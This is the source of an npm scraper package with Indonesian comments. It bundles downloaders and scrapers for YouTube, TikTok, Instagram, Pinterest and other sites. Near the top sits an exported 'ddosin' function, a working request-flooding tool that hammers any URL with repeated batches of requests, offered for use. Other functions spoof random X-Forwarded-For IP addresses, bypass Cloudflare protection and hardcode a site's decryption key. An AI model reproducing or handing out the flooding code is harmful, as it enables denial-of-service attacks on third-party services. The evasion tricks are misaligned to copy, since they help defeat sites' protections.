UNPKG

@deffgans/scraper

Version:

🔥 Terima kasih sudah menggunakan API ini! 🔥 🙏 Juga terima kasih kepada yang sudah support sampai sekarang! 🥰

1,046 lines (916 loc) 32.6 kB
const axios = require('axios'); const FormData = require('form-data'); const Jimp = require('jimp'); const cheerio = require("cheerio"); const qs = require("qs"); const fetch = require("node-fetch"); const path = require('path') const { fromBuffer } = require('file-type'); const { createCanvas, registerFont } = require('canvas'); const fs = require('fs'); const cloudscraper = require('cloudscraper') const SocksProxyAgent = require('socks-proxy-agent'); const HttpsProxyAgent = require('https-proxy-agent'); const randomUseragent = require('random-useragent'); const req = require('request') const ddosin = (url, qty, ms) => { let err = ok = 0 setInterval(_ => { for (let i = qty; i--;) req(url, error => !error ? ok++ : err++) console.log(`result:' ${ ok } ${ err }`) err = ok = 0 }, ms) } async function aiLogic(content, prompt) { try { const response = await axios.post('https://luminai.my.id/', { content, prompt }); console.log(response.data); return response.data; } catch (error) { console.error(error); throw error; } } async function BratGenerator(teks) { try { if (!teks) throw new Error('Teks tidak boleh kosong!'); let width = 512; let height = 512; let margin = 20; let wordSpacing = 50; let fontURL = 'https://files.catbox.moe/nseqid.ttf'; // URL font let fontPath = path.join(__dirname, 'temp_font.ttf'); // File sementara // Unduh font dari URL dan simpan sebagai file sementara console.log('🔄 Mengunduh font...'); const { data } = await axios.get(fontURL, { responseType: 'arraybuffer' }); fs.writeFileSync(fontPath, data); console.log('✅ Font berhasil diunduh!'); // Daftarkan font registerFont(fontPath, { family: 'Narrow' }); let canvas = createCanvas(width, height); let ctx = canvas.getContext('2d'); // Latar belakang putih ctx.fillStyle = 'white'; ctx.fillRect(0, 0, width, height); let fontSize = 280; let lineHeightMultiplier = 1.3; ctx.textAlign = 'left'; ctx.textBaseline = 'top'; ctx.fillStyle = 'black'; ctx.font = `${fontSize}px Narrow`; let words = teks.split(' '); let lines = []; function rebuildLines() { lines = []; let currentLine = ''; for (let word of words) { let testLine = currentLine ? `${currentLine} ${word}` : word; let lineWidth = ctx.measureText(testLine).width + (currentLine.split(' ').length - 1) * wordSpacing; if (lineWidth < width - 2 * margin) { currentLine = testLine; } else { lines.push(currentLine); currentLine = word; } } if (currentLine) { lines.push(currentLine); } } rebuildLines(); while (lines.length * fontSize * lineHeightMultiplier > height - 2 * margin) { fontSize -= 2; ctx.font = `${fontSize}px Narrow`; rebuildLines(); } let lineHeight = fontSize * lineHeightMultiplier; let y = margin; for (let line of lines) { let wordsInLine = line.split(' '); let x = margin; for (let word of wordsInLine) { ctx.fillText(word, x, y); x += ctx.measureText(word).width + wordSpacing; } y += lineHeight; } let buffer = canvas.toBuffer('image/png'); // Hapus font setelah digunakan fs.unlinkSync(fontPath); console.log('🗑️ Font berhasil dihapus!'); return { status: 200, author: 'deff', buffer }; } catch (error) { return { status: 500, error: error.message }; } } async function youtubedl(url, type = 'mp4', quality) { const axios = require('axios') const { createDecipheriv } = require('crypto') const { spawn } = require('child_process') const fs = require('fs') const path = require('path') const api = { base: 'https://media.savetube.me/api', cdn: '/random-cdn', info: '/v2/info', download: '/download' } const headers = { accept: '*/*', 'content-type': 'application/json', origin: 'https://yt.savetube.me', referer: 'https://yt.savetube.me/', 'user-agent': 'Postify/1.0.0' } const vid_quality = ['144', '240', '360', '480', '720', '1080'] const aud_quality = ['32', '64', '128', '192', '256', '320'] const output_dir = '.' if (!fs.existsSync(output_dir)) fs.mkdirSync(output_dir) const randomKarakter = (length) => { const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' return Array.from({ length }, () => chars.charAt(Math.floor(Math.random() * chars.length))).join('') } const FileSize = (file_path) => { const bytes = fs.statSync(file_path).size if (bytes >= 1073741824) return (bytes / 1073741824).toFixed(2)+' GB' if (bytes >= 1048576) return (bytes / 1048576).toFixed(2)+' MB' if (bytes >= 1024) return (bytes / 1024).toFixed(2)+' KB' return bytes+' B' } const hex_to_buf = (hex) => Buffer.from(hex, 'hex') const decrypt = (enc) => { try { const secret_key = 'C5D58EF67A7584E4A29F6C35BBC4EB12' const data = Buffer.from(enc, 'base64') const iv = data.slice(0, 16) const content = data.slice(16) const key = hex_to_buf(secret_key) const decipher = createDecipheriv('aes-128-cbc', key, iv) let decrypted = Buffer.concat([decipher.update(content), decipher.final()]) return JSON.parse(decrypted.toString()) } catch (error) { throw new Error(error.message) } } const get_id = (url) => { const regex = [ /youtube\.com\/watch\?v=([a-zA-Z0-9_-]{11})/, /youtube\.com\/embed\/([a-zA-Z0-9_-]{11})/, /youtube\.com\/v\/([a-zA-Z0-9_-]{11})/, /youtube\.com\/shorts\/([a-zA-Z0-9_-]{11})/, /youtu\.be\/([a-zA-Z0-9_-]{11})/ ] for (let r of regex) { let match = url.match(r) if (match) return match[1] } return null } const dl_file = (url, file_path) => { return new Promise(async (resolve, reject) => { try { const response = await axios({ url, method: 'GET', responseType: 'stream' }) const writer = fs.createWriteStream(file_path) response.data.pipe(writer) writer.on('finish', () => resolve(file_path)) writer.on('error', reject) } catch (error) { reject(error) } }) } const convert_audio = (input, output, bitrate) => { return new Promise((resolve, reject) => { const process = spawn('ffmpeg', [ '-i', 'pipe:0', '-b:a', `${bitrate}k`, '-preset', 'ultrafast', '-movflags', '+faststart', output ]) const readStream = fs.createReadStream(input) readStream.pipe(process.stdin) process.on('close', (code) => { if (code === 0) resolve(output) else reject(new Error('Error :(')) }) }) } const id = get_id(url) try { const { data: cdn_res } = await axios.get(api.base+api.cdn, { headers }) const cdn = cdn_res.cdn const { data: info_res } = await axios.post(`https://${cdn}${api.info}`, { url: `https://www.youtube.com/watch?v=${id}` }, { headers }) const decrypted = decrypt(info_res.data) if (type === 'mp4') { if (!vid_quality.includes(quality.toString())) quality = '360' } else if (type === 'mp3') { if (!aud_quality.includes(quality.toString())) quality = '192' } const { data: dl_res } = await axios.post(`https://${cdn}${api.download}`, { id, downloadType: type === 'mp3' ? 'audio' : 'video', quality, key: decrypted.key }, { headers }) const file_name = `${randomKarakter(4)}.${type}` const file_path = path.join(output_dir, file_name) await dl_file(dl_res.data.downloadUrl, file_path) if (type === 'mp3') { const output_file = path.join(output_dir, `${randomKarakter(4)}.mp3`) await convert_audio(file_path, output_file, quality) fs.unlinkSync(file_path) return { title: decrypted.title, format: 'mp3', quality: quality+'kbps', duration: decrypted.duration, thumbnail: decrypted.thumbnail || `https://i.ytimg.com/vi/${id}/maxresdefault.jpg`, file_name: decrypted.title+'.mp3', file_size: FileSize(output_file), file_path: './'+output_file } } return { title: decrypted.title, format: 'mp4', quality: quality+'p', duration: decrypted.duration, thumbnail: decrypted.thumbnail || `https://i.ytimg.com/vi/${id}/maxresdefault.jpg`, file_name: decrypted.title+'.mp4', file_size: FileSize(file_path), file_path: './'+file_path } } catch (err) { return { error: err.message } } } async function instagram(url) { const requestData = 'recaptchaToken=&q=' + url + '=media&lang=en'; try { const { data } = await axios.post('https://v3.igdownloader.app/api/ajaxSearch', requestData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Accept': '*/*' } }); const $ = cheerio.load(data.data); const thumb = $('.download-items__thumb img').attr('src'); const link = $('.download-items__btn a').attr('href'); const result = { status: true, creator: 'fumi', thumb: thumb, link: link }; return result; } catch (error) { console.error("Error:", error); return null; } } async function generateRandomIP() { return `${Math.floor(Math.random() * 254)}.${Math.floor(Math.random() * 254)}.${Math.floor(Math.random() * 254)}.${Math.floor(Math.random() * 254)}`; } async function tiktokdl(videoUrl) { try { const response = await fetch("https://www.tikwm.com/api/", { method: "POST", headers: { Accept: "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Forwarded-For": generateRandomIP(), "Custom-Port": "443", "Sec-CH-UA": "\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"", "User-Agent": "Chrome/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", }, body: new URLSearchParams({ url: videoUrl, count: 12, cursor: 0, web: 1, hd: 1, }), }); const data = await response.json(); return { region: data.data.region, title: data.data.title, avatar: `https://www.tikwm.com${data.data.author.avatar}`, author: data.data.author.nickname, username: data.data.author.unique_id, comment: data.data.comment_count.toLocaleString(), views: data.data.play_count.toLocaleString(), cover: `https://www.tikwm.com${data.data.cover}`, like: data.data.digg_count.toLocaleString(), bookmark: data.data.collect_count.toLocaleString(), published: new Date(data.data.create_time * 1000).toLocaleDateString().trim(), video: `https://www.tikwm.com${data.data.play}`, video_wm: `https://www.tikwm.com${data.data.wmplay}`, video_hd: `https://www.tikwm.com${data.data.hdplay}`, music: data.data.music_info.play, duration: "", }; } catch (error) { throw new Error("Something went wrong"); } } async function fetchDependents(link) { const url = link+'/network/dependents'; try { const { data: html } = await axios.get(url, { headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36' } }); const $ = cheerio.load(html); const dependentsLinks = []; $('.Box-row a[href*="/"]').each((index, element) => { const repoPath = $(element).attr('href'); if (repoPath && /^\/[^/]+\/[^/]+$/.test(repoPath)) { const repoLink = `https://github.com${repoPath}`; dependentsLinks.push(repoLink); } }); return { status: true, creator: 'deffri', result: dependentsLinks } } catch (error) { console.error(`Failed to fetch dependents: ${error.message}`); } } async function tiktokStalk(user) { try { const url = await fetch(`https://tiktok.com/@${user}`, { headers: { 'User-Agent': 'PostmanRuntime/7.32.2' } }); const html = await url.text(); const $ = cheerio.load(html); const data = $('#__UNIVERSAL_DATA_FOR_REHYDRATION__').text(); const result = JSON.parse(data); if (result['__DEFAULT_SCOPE__']['webapp.user-detail'].statusCode !== 0) { const ress = { status: 'error', message: 'User not found!', }; console.log(ress); return ress; } const res = result['__DEFAULT_SCOPE__']['webapp.user-detail']['userInfo']; return res; } catch (err) { console.log(err); return String(err); } }; async function alldl(url){ const req = { url: url } const header = { 'Accept': 'application/json', 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36', 'Referer': 'https://cobalt.tools/' }; try { const resp = await fetch('https://api.cobalt.tools/api/json', { method: 'POST', headers: header, body: JSON.stringify(req) }); if (resp.ok) { const data = await resp.json(); return data } else { return { status: false, message: 'permintaan tidak dapat diproses' } } } catch (error) { return { status: false, message: error } } } function mediafiredl(url) { return new Promise(async(resolve, reject) => { var a, b; if (!/https?:\/\/(www\.)?mediafire\.com/.test(url)) return resolve() const data = await axios.get(url).catch(function (error) {}) if (!data) { resolve() } else { const $ = cheerio.load(data.data); const Url = ($('#downloadButton').attr('href') || '').trim(); const url2 = ($('#download_link > a.retry').attr('href') || '').trim(); const $intro = $('div.dl-info > div.intro'); const filename = $intro.find('div.filename').text().trim(); const filetype = $intro.find('div.filetype > span').eq(0).text().trim(); const ext = ((b = (a = /\(\.(.*?)\)/.exec($intro.find('div.filetype > span').eq(1).text())) === null || a === void 0 ? void 0 : a[1]) === null || b === void 0 ? void 0 : b.trim()) || 'bin'; const $li = $('div.dl-info > ul.details > li'); const aploud = $li.eq(1).find('span').text().trim(); const filesizeH = $li.eq(0).find('span').text().trim(); const filesize = (0, parseFileSize)(filesizeH); const result = { status: true, creator: 'deffri', url: Url || url2, url2, filename, filetype, ext, upload_date: aploud, filesizeH, filesize }; resolve(result) } }) } async function getCookies() { try { const response = await axios.get('https://www.pinterest.com/csrf_error/'); const setCookieHeaders = response.headers['set-cookie']; if (setCookieHeaders) { const cookies = setCookieHeaders.map(cookieString => { const cookieParts = cookieString.split(';'); const cookieKeyValue = cookieParts[0].trim(); return cookieKeyValue; }); return cookies.join('; '); } else { console.warn('No set-cookie headers found in the response.'); return null; } } catch (error) { console.error('Error fetching cookies:', error); return null; } } async function pinterest(query) { try { const cookies = await getCookies(); if (!cookies) { console.log('Failed to retrieve cookies. Exiting.'); return; } const url = 'https://www.pinterest.com/resource/BaseSearchResource/get/'; const params = { source_url: `/search/pins/?q=${query}`, // Use encodedQuery here data: JSON.stringify({ "options": { "isPrefetch": false, "query": query, "scope": "pins", "no_fetch_context_on_resource": false }, "context": {} }), _: Date.now() }; const headers = { 'accept': 'application/json, text/javascript, */*, q=0.01', 'accept-encoding': 'gzip, deflate', 'accept-language': 'en-US,en;q=0.9', 'cookie': cookies, 'dnt': '1', 'referer': 'https://www.pinterest.com/', 'sec-ch-ua': '"Not(A:Brand";v="99", "Microsoft Edge";v="133", "Chromium";v="133"', 'sec-ch-ua-full-version-list': '"Not(A:Brand";v="99.0.0.0", "Microsoft Edge";v="133.0.3065.92", "Chromium";v="133.0.6943.142"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-model': '""', 'sec-ch-ua-platform': '"Windows"', 'sec-ch-ua-platform-version': '"10.0.0"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0', 'x-app-version': 'c056fb7', 'x-pinterest-appstate': 'active', 'x-pinterest-pws-handler': 'www/[username]/[slug].js', 'x-pinterest-source-url': '/hargr003/cat-pictures/', 'x-requested-with': 'XMLHttpRequest' }; const { data } = await axios.get(url, { headers: headers, params: params }) const container = []; const results = data.resource_response.data.results.filter((v) => v.images?.orig); results.forEach((result) => { container.push({ upload_by: result.pinner.username, fullname: result.pinner.full_name, followers: result.pinner.follower_count, caption: result.grid_title, image: result.images.orig.url, source: "https://id.pinterest.com/pin/" + result.id, }); }); return { status: 200, result: container } } catch (error) { console.log(error); return []; } } async function dbr(q) { const url = `https://danbooru.donmai.us/posts?tags=${encodeURIComponent(q)}`; const response = await axios.get(url); const html = response.data; const $ = cheerio.load(html); const results = []; $('article.post-preview').each((index, element) => { const title = $(element).attr('data-id'); const imgSrc = $(element).find('img').attr('src'); const tags = $(element).attr('data-tags').split(' '); results.push({ title, imgSrc, tags }); }); return results } async function uploadImageToCatbox(imagePath) { const form = new FormData(); form.append('reqtype', 'fileupload'); // Add the request type form.append('fileToUpload', fs.createReadStream(imagePath)); try { const response = await axios.post('https://catbox.moe/user/api.php', form, { headers: { ...form.getHeaders(), }, }); return { creator: 'deff', status: 'true', hasil: response.data } } catch (error) { console.error('Error uploading image:', error.response ? error.response.data : error.message); } } async function uploadFile(filePath) { try { const buffer = fs.readFileSync(filePath); let { ext } = await fromBuffer(buffer); let FormData = new FormData(); FormData.append("file", buffer, "file." + ext); let res = await fetch("https://8030.us.kg/api/upload.php", { method: "POST", body: FormData, }); let data = await res.json(); console.log('Respons dari server:', data); if (data.result && data.result.url) { return data.result.url; } else { return ''; } } catch (error) { console.error('Terjadi kesalahan:', error); return ''; } } async function uploadVideo(filePath) { try { const fileStream = fs.createReadStream(filePath); const formData = new FormData(); formData.append("file", fileStream); const response = await axios.post("https://videy.co/api/upload", formData, { headers: { ...formData.getHeaders(), "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36", }, }); const videoID = response.data.id; const videoURL = `https://videy.co/v?id=${videoID}`; console.log("Upload berhasil!"); return { creator: 'deff', status: true, result: videoURL } } catch (error) { console.error("Gagal mengunggah:", error.response ? error.response.data : error.message); } } async function remini(path, type) { return new Promise(async (pepenk, pepeng) => { let selecte = ['enhance', "recolor", "dehaze"]; if (selecte.includes(type)) { type = type; } else { type = selecte[0]; } let daata = new FormData(); let url = "https://inferenceengine.vyro.ai/" + type; daata.append("model_version", 1, { 'Content-Transfer-Encoding': "binary", 'contentType': "multipart/form-data; charset=utf-8" }); daata.append('image', Buffer.from(path), { 'filename': "enhance_image_body.jpg", 'contentType': "image/jpeg" }); daata.submit({ 'url': url, 'host': "inferenceengine.vyro.ai", 'path': '/' + type, 'protocol': "https:", 'headers': { 'User-Agent': 'okhttp/4.9.3', 'Connection': "Keep-Alive", 'Accept-Encoding': "gzip" } }, function (err, res) { if (err) { pepeng(); } let chunks = []; res.on('data', function (chunk) { chunks.push(chunk); }).on("end", () => { pepenk(Buffer.concat(chunks)); }); res.on("error", err => { pepeng(); }); }); }); } async function happymodSearch(game) { try { const { data } = await axios.get(`https://ind.happymod.com/search.html?q=${encodeURIComponent(game)}`); const $ = cheerio.load(data); const results = []; $('.pdt-app-box').each((index, element) => { const title = $(element).find('.pdt-app-h3 a').text().trim(); const appLink = $(element).find('.pdt-app-h3 a').attr('href'); const imageUrl = $(element).find('.pdt-app-img img').attr('data-original'); const rating = $(element).find('.a-search-num').text().trim(); results.push({ title, appLink: 'https://ind.happymod.com' + appLink, imageUrl, rating, }); }); return { creator: 'deff', result: results } } catch (error) { console.error('Error scraping the page:', error); } } async function getModuleDetails(packageName) { try { const response = await axios.get(`https://registry.npmjs.org/${packageName}`); return response.data.time && response.data.time.created ? response.data.time.created : 'Unknown'; } catch (error) { console.error(`Error fetching details for ${packageName}:`, error); return 'Unknown'; } } async function npmSearch(query) { try { const response = await axios.get(`https://registry.npmjs.org/-/v1/search?text=${query}&size=5`); const results = await Promise.all(response.data.objects.map(async (pkg) => { const lastPublish = await getModuleDetails(pkg.package.name); return { name: pkg.package.name, description: pkg.package.description || 'No description available', version: pkg.package.version, lastPublish: lastPublish, }; })); return { creator: 'deff', status: true, result: results } } catch (error) { console.error('Error fetching search results:', error); } } async function tiktokSearch(query) { try { const response = await fetch("https://tikwm.com/api/feed/search", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", Cookie: "current_language=en", "User-Agent": "Mozilla/5.0 (Linux Android 10 K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Mobile Safari/537.36", }, body: new URLSearchParams({ keywords: query, count: 10, cursor: 0, HD: 1, }), }); const result = await response.json(); const videos = result.data?.videos || []; if (videos.length === 0) { throw new Error("Tidak ada video ditemukan."); } return videos.map((v) => ({ title: v.title, cover: v.cover, origin_cover: v.origin_cover, link: `https://www.tiktok.com/@${v.author.unique_id}/video/${v.video_id}`, no_watermark: v.play, watermark: v.wmplay, music: v.music_info, views: v.play_count, like: v.digg_count, comment: v.comment_count || null, share: v.share_count, download: v.download_count || null, save: v.collect_count || null, create_time: v.create_time * 1000, })); } catch (error) { throw new Error(`Gagal mengambil data: ${error.message}`); } } async function animeSearch(query) { try { const response = await axios.get(`https://otakudesu.cloud/?s=${encodeURIComponent(query)}&post_type=anime`); const html = response.data; const $ = cheerio.load(html); const animeList = []; $('ul.chivsrc > li').each((index, element) => { const image = $(element).find('img').attr('src'); const title = $(element).find('h2 a').text(); const link = $(element).find('h2 a').attr('href'); const genres = []; $(element) .find('.set') .eq(0) .find('a') .each((_, genre) => { genres.push($(genre).text()); }); const status = $(element).find('.set').eq(1).text().replace('Status : ', '').trim(); const rating = $(element).find('.set').eq(2).text().replace('Rating : ', '').trim(); animeList.push({ image, title, link, genres, status, rating }); }); return { creator: 'deff', status: true, rsult: animeList } } catch (error) { console.error('Terjadi kesalahan saat scraping:', error.message); } } async function animedl(url) { try { const { data } = await axios.get(url); const $ = cheerio.load(data); const downloads = []; $('.download ul li').each((index, element) => { const quality = $(element).find('strong').text().trim(); const links = []; $(element).find('a').each((i, link) => { links.push({ host: $(link).text().trim(), url: $(link).attr('href'), }); }); const size = $(element).find('i').text().trim(); downloads.push({ quality, links, size }); }); return downloads; } catch (error) { console.error('Error scraping data:', error); return null; } } async function nekopoiSearch(query) { try { const url = `https://nekopoi.care/search/${encodeURIComponent(query)}`; const htmlContent = await cloudscraper.get(url); const $ = cheerio.load(htmlContent); const results = []; $('.result ul li').each((i, el) => { const title = $(el).find('h2 a').text().trim(); const link = $(el).find('h2 a').attr('href'); const image = $(el).find('.limitnjg img').attr('src'); const parody = $(el).find('.desc p:contains("Parody")').text().replace('Parody :', '').trim(); const producers = $(el).find('.desc p:contains("Producers")').text().replace('Producers :', '').trim(); const duration = $(el).find('.desc p:contains("Duration")').text().replace('Duration :', '').trim(); const size = $(el).find('.desc p:contains("Size")').text().replace('Size :', '').trim(); results.push({ title, link, image, parody, producers, duration, size }); }); return results; } catch (error) { console.error('Terjadi kesalahan:', error.message); return []; } } async function baseCoc(query) { try { const url = `https://clashofclans-layouts.com/plans/th_${query}/` const { data } = await axios.get(url); const $ = cheerio.load(data); let layouts = []; $('.base_grid_item').each((index, element) => { const title = $(element).find('a').attr('title') || 'No Title'; const link = $(element).find('a').attr('href') ? `https://clashofclans-layouts.com${$(element).find('a').attr('href')}` : ''; const image = $(element).find('img.base_grid_img').attr('src') ? `https://clashofclans-layouts.com${$(element).find('img.base_grid_img').attr('src')}` : ''; const views = $(element).find('.views_block_mg div').text().trim(); layouts.push({ title, link, image, views }); }); return layouts } catch (error) { return error.message console.error('Error scraping data:', error.message); } } async function baseCocLink(link) { try { const { data } = await axios.get(link); const $ = cheerio.load(data); const title = $('h1').text().trim(); const image = $('.base_border_wide a img').attr('src') ? `https://clashofclans-layouts.com${$('.base_border_wide a img').attr('src')}` : ''; const copyLink = $('.base_link_block a').attr('href') || ''; const views = $('.full_base_views div').text().trim(); let tags = []; $('.tags_block span a').each((index, element) => { tags.push($(element).text().trim()); }); const result = { title, image, copyLink, views, tags }; return { status: 200, creator: 'deff', results: result, } } catch (error) { console.error('Error scraping data:', error.message); return error.message } } //---------Export Module----------\\ module.exports = { ddosin, aiLogic, youtubedl, instagram, tiktokdl, fetchDependents, tiktokStalk, alldl, pinterest, dbr, uploadImageToCatbox, uploadFile, uploadVideo, remini, happymodSearch, npmSearch, animeSearch, animedl, nekopoiSearch, tiktokSearch, BratGenerator, baseCoc, baseCocLink }